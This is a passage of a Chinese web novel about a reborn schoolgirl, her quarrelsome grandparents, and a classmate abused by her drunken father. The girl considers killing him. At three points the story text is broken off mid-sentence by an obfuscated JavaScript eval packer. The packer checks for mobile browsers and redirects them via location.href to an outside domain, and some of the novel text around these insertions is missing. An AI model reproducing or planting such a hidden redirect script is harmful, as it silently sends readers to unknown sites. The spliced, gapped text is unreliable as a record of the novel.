高翠英什么也不做,就坐在床上碎碎念,“人家哪家都做豆腐吃,老二又喜欢吃豆腐,你光做肉,只喜欢做自己爱吃的。” 话里话外讽刺刘秀珍贪吃,自私,懒惰。 “金凤大嫂家今天做了,你要是真在意你小儿子喜欢吃豆腐,你去她家买一块回来。”刘秀珍头也不抬,只顾着切肉,“又或者你自己做一锅豆腐。反正陆老三天天守在老房子里,我爸那边你也不帮忙,我看你也闲着没什么事做。” 高翠英不知道自己做了什么错事,这几天大儿子和大儿媳妇根本不鸟自己,能帮点事的只有小儿子和小儿媳妇。 现在时期特殊,面对刘秀珍的嘲讽,高翠英不说话了。 转头去看坐在火炉旁边,在灯下写作业的陆易宁,嘴又开始碎了,“哎哟,你一个姑娘家家的,读那么多书,考第一又能做浪子,以后都要嫁到别家去给人家生娃的。” “我为什么长大以后就一定要嫁去别人家?我读书就是怕以后只能嫁到别人家给男人生娃。”陆易宁停下笔,对着她翻了个大白眼,“更怕的是,长大后变成某些拎不清轻重,不讲道理的老人。我要是以后活成他们那样,我生孩子做什么?生来让孩子受罪?有事哇哇喊他回家,没事就一脚踢他脸上,喊他滚?这不是神经病嘛!” 意识到骂了不该骂的,陆易宁又说:“我不是说你是神经病,我是说那种生孩子出来专门让孩子受罪的爸妈是神经病!” 被“神经病”三个字完美概括的高翠英并没有意识到什么,眼前的这个死孩子嘴巴一直是这样,不过骂的应该不是自己。 “你说的那种爸妈确实像神经病。”高翠英呼了一口气,厚着脸皮笑嘻嘻地说:“我对我的两个儿子,对你们几姐妹和你大哥哥二哥哥都好得很,生了也不白生。” 给她个台阶下,她拿当电梯使。 刘秀珍切肉的菜刀硬是切了一块指头厚的肥肉下来。 她是怎么好意思的? 陆易宁整一个黑人门号脸。 “是哦,好得很。”陆易宁懒得装了,“你和我爷对你大儿子一家那么好,我爷躺床上这么久了,怎么也不见我大伯大伯母去瞧一眼,哪怕让我那两个堂哥端点吃的去床前看看呢?我前几天还看见我大伯母熏腊肉,怎么也不见给你们送一块啊!你倒好,喂了两只猪,看见我爸妈回来,恨不得赶紧卖出去。我妈买几块猪肉来给你们过年,你还叭叭叭说她只做她爱吃的。这样吧,我待会去我金凤婶婶家买块豆腐,你要是心疼我爸呢,你做一顿给我爸吃,我爸都十几年没吃过你做的东西了呢。晚上吃年夜饭的时候,你就吃豆腐,我妈喜欢吃肉,她就多吃肉。她买的肉,她一个人全吃完,我们一家都不会说什么。只有脸皮厚的人才会说她。有时候,我觉得你和我爷还是应该反思一下自己,那种神经病爸妈,不用我说你们像,你们就是好吗?” “陆七七!”刘秀珍一刀切在砧板上,故意喊了一声。 陆易宁抬头瞄了她一眼,她已经在努力隐忍笑容不露出来了。 “跟你说不清楚,你懂个屁!要不是老子,你还不能在这说鬼话!”高翠英站起身,去拿床头的拐棍。 眼看人要走了,陆易宁抓紧补充道:“你尽管去老房子告我爸说我奚落你,也别想着用不吃饭和在路上大哭来博同情。今天晚上的饭你爱吃不吃,村里的人都晓得你是什么德行,你在村里从头哭到尾,也没人会说我家一句的。我爸妈月月寄钱给你们,买东西给你们,一有点事就回家来帮忙,做得够好了。你要是还不满意,那你尽管让你大儿子一家养你们,给你们钱好了。不过,我觉得我大伯和我大伯母不问你要钱就不错了。你看除了我爸我妈,你和我爷生病,谁会来管你们?” 刘秀珍打断道:“你别说了。” 高翠英拄着拐棍走出门,气得脸上的松垮的皮肉一抖一抖的。 如陆易宁说的一般,她哭哭啼啼地骂了一路,从家门口骂到村口,都没人安慰她。 反而有个老头听不下去,补了她两刀,“你以前是怎么对你小儿子一家的,天天上门咒骂人家,巴不得他们一家赶紧滚。人现在说你两句就说不得了。人家街上有个老奶,年轻的时候打儿子,打孙女,儿媳妇都打跑了。今年七八月份死在家里,烂臭了,生的儿子女儿没一个回来,她死了还是政府埋的。你要是觉得陆老大以后会好好管你,那你尽管骂!” “关你球事!”高翠英的哭声瞬间止住,“我大儿子对我们好得很,用不着你管。” 老头没有继续和她理论。 陆家一大家子在村里都是出了名的,人人都说陆天松生了一个自己,他的大儿子陆远跟他一模一样。 一样心狠。 这次陆天松卧床不起,村里人私底下都在讲如果没有小儿子,他的大儿子陆远肯定会像他以前对他爸妈那样对他。 真是应了一句话,一代做给一代看。 高翠英嘴上不认,心里还是有点数的,从村口回来,顺路去马金凤家里买了块豆腐,就回了家。 …… 过完年,正月初二,陆易安就带着两个妹妹去街上找小舅舅小舅妈。 小孩过年不收压岁钱收什么?收破烂吗? 辗转去了杨长一趟,刘森和马春花又给了一笔。 回家当天,郑松和赵倩又给了一点。 三姐妹盘坐在床上数了一番自己收到的压岁钱,加上刘秀珍给的不做数的压岁钱,三人每人得了一百七。 刘秀珍特意拿一百块的整钱和她们换零钱,这样,每个人都有一张一百面值的钱,和七十块的零钱。 陆易安将一百块钱抽出来,一阵肉疼,剩下的七十块,分给了陆易宁五十。 陆易宁心安理得地收下她给的五十块。 一百七十块钱,刘秀珍能敲去一百六。 陆易安深知老妈的尿性,每年收的压岁钱在口袋里待不到一个星期,就会被老妈以各种理由骗过去。 什么存起来,以后读书用,买衣服穿,都是借口。 令陆易安更无奈的是,她明明知道是借口,迫于老妈的威严,她只能妥协。 因为一到过年,老妈也会流出去不少钱。 没办法,正好陆易宁喜欢买书买资料,刘秀珍在买资料书这件事上没话说。陆易安每次过年收到的压岁钱,都会抽出一部分给陆易宁,打着给她买资料书的幌子,从中抠一点出来。 陆果果将钱放在自己的书包夹层里,陆易安见状,好心提醒道:“陆果果,我跟你说,你要是不单独留一点钱出来,等会妈从店里回来,全给你骗走。” 陆果果眼神坚定,“这次我就不给,妈说什么我都不信…” 两个小时后…… 陆易宁和陆易安在楼下看电视,门口响起一阵急促的脚步声,陆果果飞奔至二楼,刘秀珍紧跟其后。陆果果跑进房间,将书格里的书包拿出来放在桌面上,从书包夹层里掏出一百七十块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452117|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,全部交给刘秀珍。 不仅如此,自己上交完所有压岁钱,还要下楼去劝两个姐姐。 刘秀珍还在楼上,陆易安电视都不想看了。 显然,眼前的傻子陆果果更有看头,“所以,你是说我们家开店欠了别人家好几万块,买冰箱的钱也是向倩倩阿姨借的?” “对啊。”陆果果用力点头,一脸天真,“而且,我们开学的学费都凑不齐。陆安安,陆七七,你们要是想继续读书的话,先把钱给妈存着。” 陆易宁继续看电视,陆易安恨铁不成钢地骂道:“你个笨蛋!等开学那天,你试试你为了省学费不去读书,你妈就有钱了!” 刘秀珍笑容满面地下楼,当着大女儿和二女儿的面狠狠地夸了陆果果一番。 陆易宁主动交出一百三,“剩下的四十块我想买四年级下册的作文书,数学资料和试卷。” “好,那就买。”刘秀珍转眸看向陆易安。 陆易安还想做最后的挣扎,“这次的压岁钱我想自己存。” 刘秀珍哄道:“你一个小孩身上用不着这么多钱。等你长成大人,自己能用大钱了,我就给你。” “可是我爸也没钱啊!我爸有点钱都交给你,他不也是大人吗?” 刘秀珍怔了怔,说:“你爸是男人,男人的钱都是媳妇管的。” “那为什么我奶上街买东西还要问我爷要钱。” 刘秀珍:“……” 在霸权主义面前,嘴上功夫厉害又怎样。 算了,陆易安知道自己拧不过,主动交出一百二,“剩下的五十块,我拿给陆七七了,她想买老师说的名著小说来读,我明天带她去书店买书。” “给你妹妹三十块就行。”刘秀珍伸着手向陆易安要剩下的二十块,陆易安看了陆易宁一眼,陆易宁只好拿出二十块给老妈。 第二天,不用刘秀珍带着上街,一大早陆易宁和陆易安就买了作文书和试卷回来。 两人偷偷躲在房间,数了一下余款,合计七十块的买书钱,还剩三十九块。 陆易安分得十七块,陆易宁十七块。 陆果果分得五块,结果在陆易安组建的牌桌上,输得只剩下一块。 陆易安创建的牌局,规则只有她才清楚,陆易宁从不参加,只当看客。 偏偏陆果果和郑煦两个呆子不听劝,硬着头皮也要和陆易安赌。 郑煦输了五块不服气,谈钱伤感情,那就用劳力来抵押。 玩了一个下午后,郑煦自己的作业还没写完,还需要帮陆易安抄完语文书上的词语。陆果果需要帮陆易安扫一个星期的地。 之后的一个星期,地上一脏,陆易安就喊陆果果来扫地。 陆果果输不起,扫了一次就不扫了,和陆易安吵了一架,没赢。 因为换牙,两瓣门牙刚长出来一点,被笑话是缺牙巴,不仅如此,陆易安居然用刚吃过辣条的手去捏她用胶带裹的跳跳球! 陆果果忍不了,一气之下动手了。 结果是打架也没打赢,反被陆易安压在地板上揍。 嘴巴不厉害,手上功夫比不过,陆果果只能去楼上找陆易宁哭诉,“陆七七,你以后不要跟陆安安说话!” 陆易宁将英语试卷折好,塞进书格的书缝里,“为什么?” “她太讨人嫌了!”陆果果哭得梨花带雨,鼻涕都快掉嘴里了。 陆易宁抽了一张卫生纸给她擦眼泪,拿出日记本,开始写假期日记。 陆易安玩扑克大败郑煦陆果果,是个不错的素材。 陆果果凑过去看了一眼她日记本上的日期,二月八号。 “以后每年的二月八号是‘恨安日'',你和郑阳阳都要恨陆易安。” 陆易宁看了眼陆果果咬牙切齿的模样,很认真,不像是假的。 她的印象里有这个节日,“恨安日”,第一世时陆果果专门为陆易安设立的节日。 她忘了具体日期,原来是二月八号啊! 陆果果推了陆易宁的肩头一掌,“你别发呆了,你今天,以后的今天都不能和陆易安说话。” “好!”陆易宁答应了。 如果不答应,怕是又要多个“恨宁日”出来。 “恨安日”刚成立没几天,陆果果和陆易安就和好如初。 只有陆易宁清楚地记得这个节日。 半个月后,学生开学。 陆果果不想去学校,赖在床上不起床,打着不读书省学费的幌子不去上学,被刘秀珍提着衣架吓得绕床转圈。 刘秀珍:老子有钱,学费全都交了,连续交到了六年级。 陆果果:“……” 43.四十三章 建材厂关闭后,厂里所有的设备全被老板拉走了,剩下一个空壳,也被卖给镇上的有钱大户用来开养牛场。 工人们没有生计,又重拾了老本行。外出打工的打工,种地的种地。 现在镇上通往县城的要道在修桥,郑松运气好,找了一份活干,负责拉修桥所需要水泥沙子,有时候也帮忙开搅拌机。 陆平则是和工厂里的几个朋友组成了一个装修团队,印了无数张装修名片在街上发,只要有人联系,拿着家伙什就干。 赵倩开的网吧原本是十二小时营业的,作为镇上的第一家网吧,生意很好。 特别是假期时间,几乎都是满员。 因为孩子的月份越来越大,赵倩只能缩短营业时间。 刘秀珍的裁缝店开得断断续续的。陆天松的病情跟他的脾气一样,反复无常。陆平好不容易接了一个活,刚从老家回来,高翠英又要叫他回去守床。 没办法,为了让陆平出去挣钱,刘秀珍只得关了店,回吉长照看陆天松。 陆远和陈英一个月难得来老房子几次,明明每次病重守在床前,出钱出力的是自己,可是老头子和老太婆对外说的全是大儿子一家的好话。 陆平心里不舒服,但是床上的人是他父亲,再不甘只能咽肚子里。 刘秀珍受不了两个老人对她召之即来挥之即去,干脆去请村里的陆姓老人还有村委能说得上话的人来做见证。 两家人轮番照顾陆天松,如果病重,不管轮到哪户人家照顾,都要一起商量,一起出钱。 陆天松自从年前病倒,直到年后开春,陆远守在病床的时间两只手都能数过来。被长辈们训责一番后,在村里老人的口诛笔伐下,陆远不得不接受轮番照顾老人的这个条件。 二月三月都是陆平和刘秀珍守在病床前。每隔几天,陆平会借陆大军的三轮车开去街上接医生回家来给陆天松做检查。 该换的换,该洗的洗,该吃的吃,该补的补。偶尔逢个艳阳高照的天气,在别人的搀扶下,陆天松还能出门晒会儿太阳。 四月,轮到陆远一家。陆平和刘秀珍再三交代的忌口他们从来不会记,医生从来不会请,药和饭也经常忘记喂。 陆天松躺在床上扯着脖子向陆远讨水喝,陆远甚至以为他是在清嗓子。 高翠英对陆天松更是没什么情分,虽说夫妻几十年,但是这几十年自己是怎么过来的,她可没忘,不过是将陆天松当成折磨小儿子和儿媳妇的工具,死了就死了,刚好没人跟自己吵架。 清明下了几天的雨,陆天松吃喝拉撒几乎都是在床上。 床铺脏了臭了,也没人给他换褥子。 清明过后,陆平接到村里人打的电话,说他大哥一家折磨他父亲。 陆平火急火燎地赶回村,提着锄头上门,如果不是有人拉着,陆远和陈英硬是要被揍一顿。 经此一闹,陆远和陈英正常一点了,至少三餐都会送到床前。 只是陆平买的药吃完了,那就完了。 不给吃药,不给看医生,痛得大叫陆远也不管。 四月下旬,陆天松就这样被拖死了。 陆平和刘秀珍回吉长服丧,陆易安特意请了假,陪着父母回去。大军叔叔家樱桃林里的小樱桃熟了,里面的樱桃甜的很,樱桃树又不高,可以坐在树上吃个够。 第一世,陆天松过世,陆易宁也请假回去了。第二世,她没去。这一世,她同样不回去。 陆平心里清楚二女儿和小女儿跟爷爷奶奶不亲,甚至达到了恨的地步,没有强硬地逼着她们回老家。 * 父母姐姐不在家,现在,家里就自己最大。 下午,陆果果被留堂,陆易宁一个人放学回家。 吃完晚饭,做完作业,一看手表,快七点了,陆果果还没回来。 陆易宁刚打开卧室的门,就看见陆果果从父母的卧室里出来,并悄悄关上房门。 “你现在才回家?”陆易宁看见她,刚提上去的心脏又回归原位,“我正要出门找你。” 陆果果双手藏在身后,“我看你在做作业,我不敢打扰你,就在爸妈的房间画了一会儿画。” “你手里拿了什么?”陆易宁歪着身子看去。 好像是一张汤匙。 “你拿着汤匙做什么?你不会躲着悄悄吃好吃的吧?” “没有,是我在楼下吃饭的时候,想着上楼来拿我中午买的辣条去下饭。” 她的手上并没有辣条,“那辣条呢?拿出来,我也要吃。” “我忘了,辣条其实在我书包里,我书包就在楼下。”陆果果心虚得要命,压根不敢看陆易宁,要是她知道自己带同学回家过夜,肯定要告状的。 “陆七七,我们下楼,我分辣条给你吃。”陆果果拉着陆易宁的袖子往楼梯口走。 肯定有鬼,指定在爸妈房间偷偷搞坏事。 陆易宁假装跟着她走,趁她不注意时,抽出手跑到父母的卧室门口,并用力推开门。 “啊!” 砰的一声,门好像砸到什么了,一声惨自从门后袭来。 陆易宁连忙将门拉开,只见门背后有个女生揉着脑门,眼泪汪汪地看着她。 这不是陆果果的好朋友李圆圆吗? 陆易宁与她的交涉不多,在学校只是一起吃过几顿午饭。 “对不起,我不是故意的,你脑门没被撞坏吧?”陆易宁凑上去,小心翼翼将她挡着额头的手拿下来。 很明显,额头正中心红了一块。 “我没事。”李圆圆用力将眼泪收回去,扬着嘴角笑了笑。 房间的板凳上此时摆放着两碗吃了一半的蛋炒饭,想必是在和陆果果吃饭的时候,听到自己从房间出来的声音,特意躲到门后。 “你那么用力做什么?”陆果果心疼她,将陆易宁拉到门口质问。 陆易宁没工夫和她瞎扯,目光下移,看见李圆圆手里拿着的汤匙,说:“你先吃饭。” 接着将陆果果拉回自己的房间,抱着手臂质问:“陆果果,你带人回来吃饭就吃饭,至于藏着掖着吗?” 陆果果懒懒地坐在书桌前,“我这不是怕你打电话告妈吗?” “一顿饭有什么好告的。” 陆果果更进一步试探道:“可是我想让她今天在我们家睡一晚上。” “睡一晚?”陆易宁坐在床边,翘起二郎腿,“那你不该问我,你该问的是她爸妈。” “不行!” 李圆圆在班上本来就容易被别的同学欺负,要是同学们知道他爸经常打她,她会被欺负得更厉害。 可是眼前的人是自己亲姐姐,她会说漏嘴吗? 陆易宁:“为什么?” “因为……因为,”陆果果举起手,“你发誓你不会在学校乱说,如果乱说,你的数学一辈子只能考五十分。你发了誓,我就跟你讲。” 真是歹毒的誓言。 陆易宁才懒得和她说有的没的,“不说我直接打电话给你老师,让你们老师通知她爸妈来接。” “我说我说!”陆果果看了一眼窗外,确保李圆圆没在阳台上,才压低声音说:“她爸爸很恐怖的,经常发酒疯打她。今天她妈带着她哥跑去她外婆家了,她要是一个人回家,她爸肯定会打死她的。” 陆易宁的后背莫名升起一股凉气。 第一世时,李圆圆离世,陆果果硬要说她是被她爸爸打死的。 男人喝酒家暴,将拳头挥向女人的这种事陆易宁上一世经历过。如果她爸真是个爱家暴的酒疯子,这件事倒不是没有可能。 “我之前和她一块放学回家,结果在岔路口看见她爸,她爸直接当着我的面抽她的脸。不因为别的,只是因为她早上没把早饭端到她爸的床边,而是放在桌子上。”陆果果冷不丁发抖,“她爸长得凶,打人又凶,那次如果不是在路上就碰见她爸,她说她爸肯定会跑去学校当着同学们的面打她的。” 陆易宁手心莫名发凉,这种遭遇她经历过。 上一世,她不过是在吃饭时,忘记给继父拿筷子,下一秒继父就掀桌子,拿凳子砸向自己。 她当时提着菜刀和继父乱来,结果是继父被她砍伤了腿,和母亲离了婚。 不过继父的腿脚好了之后,又来缠着母亲要钱,母亲不给,他就大打出手。 陆易宁跑去派出所请人帮忙,酒疯子被带走教育了两句又被放回来,更是变本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“神经病吧,被打了还笑!”学生们窃窃私语离开。 男人环顾四周,找不到称手的家伙,又一脚踢过去,“你妈呢?我儿子呢?你妈是不是带着我儿子跑了?” 陆果果被吓得浑身发抖,饶是如此,也不愿意松开拉着李圆圆的手。 “说话啊,你哑巴了?!”男人又是一脚踢在李圆圆的腿上。 附近围观的大人没几个敢上去拉的。 陆易宁迈着沉重的步子走去路口,终于看清了男人的脸。 男人上身穿毛衣,下面穿牛仔短裤和凉拖鞋。淡眉三角眼,高颧骨,龅牙,鼻毛能戳到人中了,长脸又黑又红,胡子拉碴的。人长得很高很瘦,头发乱七八糟,跟个鸡窝一样。身上的衣服也不知道穿了多久,原本是灰色的圆领毛衣,面前变成了灰棕色,现在领口快要成方领的了。 在男人的吼叫声里,他那张脸在陆易宁眼里逐渐扭曲成一张铁青色,目眦欲裂,痛苦不堪的人皮。 陆易宁被男人此刻狰狞的表情牢牢拽进了沉寂多年的回忆中。 天刚黑下来没多久,屋里的灯坏了,门外房梁上的白炽灯亮着,冷白色的灯光透过窗户射进房间,照明了李守钧那张狰狞的脸。 他匍匐在床边的地板上,口水混合泪水落下,与地板上的灰尘融合。两只手用力拉着自己的裤腿,扯着嗓子嚎叫了几声后,转为嘶哑的悲鸣。 地板上的男人挣扎了几分钟,逐渐没了声息。 她就站在他身前静静地看着,等他彻底咽气,第二天早上才去请人帮忙。 上一世李守钧死前的情景在大脑内循环播放。他的呼救声淹没在陆易宁的漠然里,咒骂声与此刻打骂李圆圆的声音完美重合。 陆易宁现在四肢僵硬,迟迟迈不开腿。 李守钧死在她面前的场景她上一世梦到了无数次,来向她索命的的情景她也经常梦见。 而现在,那张脸就活生生地摆在自己眼前。 44.四十四章 李守钧发狂的声音引来不少人的注意。 住在路边的人闻声都出门来看热闹,七八个大人,也只是有个老太太觉得他下手太重,喊了几声。 有个男人来烟酒店买烟,付了钱,打开烟盒,抽出一根烟向烟酒店老板借火。 两个男人嘴里叼着烟,抱手靠在店里的橱柜外面,像是在看实况电影一样欣赏李守钧打李圆圆。 “这是怎么了?打这么凶?”来买烟的男人眯着眼睛,尼古丁入脑,十分享受地问。 “他婆娘带着儿子跟别的男人跑了。”刚才李圆圆才捂着肚子说不知道妈妈和哥哥去哪了,下一秒烟酒店的老板就已经落实好人家母亲的去处,“你看,小姑娘长得跟他酒鬼老爹一点都不像,一看就是女人在外面跟别的男人生的,怪不得打得这么凶。要我说,小姑娘小小年纪就被打得这么厉害,以后跟她妈一样,长大了迟早要跑。” 陆易宁听着老板的话,渐渐将自己从回忆里剥离出来。 老板说这句话时,脸上的笑容只能用猥琐来形容,“以后这小姑娘长大了,肯定是个肤白貌美的大美女。要是就这样跟别的男人跑了,多可惜啊!是我的话,就留着自己用,肥水不流外人田。” 肥水不流外人田。一句话,两个男人同时得意地嘘声。 看两只蛆在相互喂食,陆易宁属实被恶心到了。 陆果果还在搂着李圆圆的肩膀,只能尽量躲避李守钧的攻击。 李守钧嘴里的脏话一块吐向她,李圆圆在笑,陆果果在哭。 “别哭了!给我站在路边别动。” 陆易宁跑上前,将陆果果推到马路边,二话不说,拉着李圆圆就往烟酒店里跑。 李守钧落下的脚踢了一个空气,眼看李圆圆跑进了路边的店里,更加气愤地追了上去。 烟酒店老板上一秒在给顾客喂屎,下一秒屎壳郎就发着疯冲店里来了。 烟也顾不上抽了,扔地上踩灭后,赶紧去阻止李守钧,“喂喂喂!我店里的东西贵得很哈!” 他晚了一步,李守钧早就冲进去了。 陆易宁拉着李圆圆专门往酒柜的方向跑,李守钧进了店,终于找到了打人的工具——橱柜里的酒。 “老子*你妈的,还敢躲!小杂种,两个小短命的丝儿!” 一瓶接着一瓶的白酒砸向陆易宁和李圆圆。 陆易宁将书包背在前面,用来当盾牌,虽然被砸到了,好歹是砸在书包上。 几分钟后,十几个装着白酒的玻璃瓶被砸地上,碎了一地。 里面的白酒淌出来,水泥地板上全湿了。 老板拉不住李守军,反到吃了李守钧竭尽全力打出的两个肘击,鼻血都被打出来了。 老板顾不上受伤的鼻子,拼命喊人来帮忙,最后来了三个男人,终于把李守军制伏在地。 陆易宁和李圆圆蜷缩在橱窗后面的角落里,地板上一片狼藉,各种酒味窜进鼻腔。 见状,李圆圆不笑了。 这么多酒,怎么赔啊? 陆易宁刚才专门往比较贵的地方跑,她看了一下,墙壁前的酒柜里,一半都空了。 里面的酒一看就是上百一瓶的,最上面还是一排红白包装的茅台酒。至于是真是假,不重要了,现在已经被砸得只剩两瓶了。 李守钧砸烟酒店,他与老板也算是苍蝇和大便双向奔赴了吧。 李圆圆浑身发抖,本来就白的脸,此时更是苍白。 陆易宁举着书包挡住两人的脸,凑在她耳朵旁低声说:“别太担心,我们这个应该算是紧急避险,你爸拿不出钱,警察应该不会让你妈全部原价赔偿的。” “可是我妈知道的话,会……”李圆圆没有说下去,只是垂下头。 两颗眼泪相继掉落在她被洗的褪色的绿色七分裤上。 这是陆易宁第一次看见她哭。 她刚才被那个王八蛋打得那么狠,她都是在笑。虽然不知道她为什么笑,但是可以确定的是她现在肯定比被打的时候难过。 陆易宁有点后悔了。 谁叫烟酒店的老板屁股和嘴巴长反了的,连一个小女孩的黄谣都要造。 …… 烟酒店老板报了警,警察来了,调解是不可能的。 李圆圆的妈妈电话打不通,最后警察只能带着李守钧去了派出所。 李圆圆又一次被陆果果和陆易宁带回了家。 一路上,李圆圆不肯说一句话,陆果果到处找话题和她聊天,都没激起她的一点兴趣。 陆易宁问她:“你是不是在担心你妈赔不完那些酒的价钱?” “嗯。”李圆圆的声音非常小,“我妈本来是回我外婆家,打算借点钱回来,然后带我和我哥去浙江的。” “我爸酒醒了,要是知道因为我,砸了别人家那么多酒,他会杀人的。” 自己造出来的局,陆易宁后悔也来不及,只能无关痛痒地安慰道:“你爸被警察带走了,一时半会出不来的。” 警察和烟酒店老板统计了一下损失,还好,那几瓶茅台是假的,用来充当门面的。 李守钧这一闹,砸了人家四千多块的东西。 媳妇联系不上,只能是家里的老爹老妈负责。 老两口前前后后凑了几千块赔给烟酒铺老板,李守钧只能被拘留了。 李圆圆在陆家睡了两晚,第三天上学,就回了自己家。 哪怕父母不在,哥哥不在,但是爷爷奶奶会送点瓜果蔬菜来,她会自己做饭吃,饿不了自己。 …… 忙活了几天后,陆平和刘秀珍回来了。 陆平整个人瘦了一圈,胡子也顾不上刮,老了很多。这段时间他哭得太久,几乎说不出话。 刘秀珍的声带稍微好一点,骂陆远两口子骂得有点狠,但是能说得出话。 赵倩产检回来,还能问一下她产检情况。 陆易安的情绪完全游离于悲伤之外。 她只知道这个星期就读了一天的书,请了四天假,一回到家就是周五。 回了老家一趟,陆易安去陆大军家的樱桃林里摘了许多樱桃回来。 陆易宁提在手上,沉甸甸的,能有七八斤重。 …… 自从知道了李圆圆是李守钧那个畜生的女儿后,或许是觉得同病相怜,每天中午,陆易宁都会去一年级的教室门喊她和陆果果一起吃午饭。 吃完午饭,李圆圆和陆果果经常在教室里画画。 画得最多的就是两人最喜欢的《巴啦啦小魔仙》里的动漫人物。不仅如此,还在每个角色旁边附注了角色使用的变身魔法咒语和攻击魔法咒语。 李圆圆妈妈的电话还是没能打通,读三年级的哥哥也请了很长的假,就像是独留她一人承受畜生的折磨。 她画画时,沉浸在笔下的世界里,经历过的痛苦再灰暗,都能被鲜艳的水彩笔涂抹成各种颜色。 陆易宁也开始觉得她傻了。 如果是自己,不仅想杀那只畜生,连带着也恨母亲偏心哥哥。 眼看五一节就要到了,第一世时李圆圆就是死在五一假期中。 明面上说是溺亡,但是一想到她父亲是李守钧,陆易宁更加相信陆果果的说辞。而且这一世,李守钧只被拘留了十天,后天四月二十九号就要被放出来了。 上语文课时,班主任在讲课文《触摸春天》,陆易宁在想这一世要不要搞死李守钧。 她忘了第一世时李圆圆是在自己读几年级的时候去世的,只记得个时间段。 五年级?六年级? 可是现在自己才读四年级,有可能是在自己读四年级的时候吗? 不行,李守钧那个畜生多活一天,周边的人就要多痛苦一天。 上一世,那只畜生装得人模人样的,周围的人都说他是个老实的可怜人,妻子带着儿子跑了,留给自己的女儿也早早死了,只有他一人。结果和母亲结婚后,没几个月,就打得母亲遍体鳞伤,离婚了还要提着刀子追上门报复。 只知道向女人伸手要钱,喝醉酒了,爹妈都能往死里揍的畜生,非要别人用命做代价,他才能老实进监狱。 …… 五一放假从四月三十号放到五月二号。 因为放假,刘秀珍允了几个孩子看电视的权利。 陆易安去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆果果上个学期的画本,画得有她自画像的画本。 陆易宁在陆果果专有的三个书格里来回翻,没有找到那个画本。 陆易宁两步移动到衣柜旁,蹲在床尾拉出衣柜下方用来装旧书旧本子的大抽屉。 心脏怦怦跳个不停,那个画本最好不要被老妈当废品卖了。 原本摆放整齐的书本被陆易宁翻得乱七八糟。好在她翻到一半,成功在陆果果一年级上册的美术书里找到那个画本。 画本的封面上有几个黄色的油印子,是她当初吃火腿肠弄在上面的。 陆易宁拿着画本跑下楼,对着动画片翻阅手上的画本。 尤其是看见画本上《巴啦啦小魔仙》里的每个角色都跟动画片里播放的一模一样时,她的手抖得快没知觉了。 陆果果的自画像,李圆圆画的陆果果,压根就是这部动画片里小千变身后的形象。而李圆圆画这些画的时间是在上个学期2010年,有小千这个角色的动画片的播出时间是2011年。 陆果果回头看见陆易宁手里拿着画本,傻站在自己的身后,于是将她手上的画本拿过来,叹道:“李圆圆好厉害,读学前班的时候就能把小千画下来。” 陆易宁有点不在状态,呆呆地问:“这不是你一年级上学期的画本吗?” “可是她学前班就会画小千了啊,那个时候电视上还没播呢。”陆果果的眼神里充满着对李圆圆强烈的崇拜,“她是不是很厉害?!” 学前班就会画了啊? 陆易宁还是不太相信,如果真是这样,那李圆圆是不是也和自己一样重生了? 万一这部动画片在网上提前播放过,再在电视上播出的呢? 为了确定是否是记忆偏差的问题,陆易宁又跑去了赵倩开的网吧,一屁股将电脑前的陆易安和郑煦挤开,点开搜索软件搜索那部动画片准确的上线时间。 电脑显示器上显示的时间是2011年。 45.四十五章 放假第一天,陆果果在裁缝店里给刘秀珍打下手。李圆圆在路口站了半天都没看见她出现在家门口,好在陆易宁从赵倩家里出来时,看见了正在路口张望的她。 陆易宁本来是打算中午去她家找她的,既然她自己来了,正好不用费力了。 陆易宁将李圆圆带回家里,陆易安在楼下看电视,两人就去了二楼。 一进门,李圆圆绞着双手,鼓足了勇气,在陆易宁开口问她问题之前,率先恳求道:“七七姐,我能不能……今天能不能在你家睡一晚上啊?” 李守钧昨天已经被放回来了。 陆易宁的目光恍惚间扫到她额头上露出来的伤口,走上前,小心翼翼掀开她被湿发遮住的刘海。 额头的左上方起了一个大包,又紫又肿,里面的淤血被薄薄的皮肤包裹着,只要被尖锐的东西一扎,脓血就能喷出来。 “你爸昨天回家了?”陆易宁暗地里吸了几口气,才将她额前的头发放下。 “嗯。” 李圆圆脸上的笑容僵硬,“我爸他喜欢喝酒,有时候有点吓人,我今天能不能在你家躲一晚上啊?我爸去县城里找我妈了,但是从浙江回来的火车要大半夜才到。他找不到我妈的话,回家会杀了我的。” 明明是在说吓人的话,她脸上除了瘆人的笑,只剩下难堪。 李守钧家暴是常态了,李圆圆似乎已经习惯了父亲的家暴,可是今天她却想来家里求个避难所,显然这一次有点不一样。 陆易宁拉来书桌前的椅子给她坐下,思忖间,猛然想到了什么,“你爸是不是……之前在劳动节假期里……将你推到了水塘里?” 李圆圆这次能来家里求助,会不会第一世时,她死亡的时间其实是在这个五一节,而不是下一年,或者是两年后。 “嗯?” 李圆圆迟疑了一下,慢点了点头,想说什么,话到嘴边又被咽了下去。 不行,如果说出来的话,人家会觉得自己是神经病的。 陆易宁看穿她的局促,双手搭在她的肩膀上,“没事的,你不要怕,想说什么都可以对我说,无论你说什么,我都相信。” 李圆圆还是摇头,双手合十苦苦哀求道:“七七姐,你就让我在你家睡今天晚上行不行?” 她不能说,会被当成是疯子赶出去的,一旦被赶出去被父亲找到,她必死。 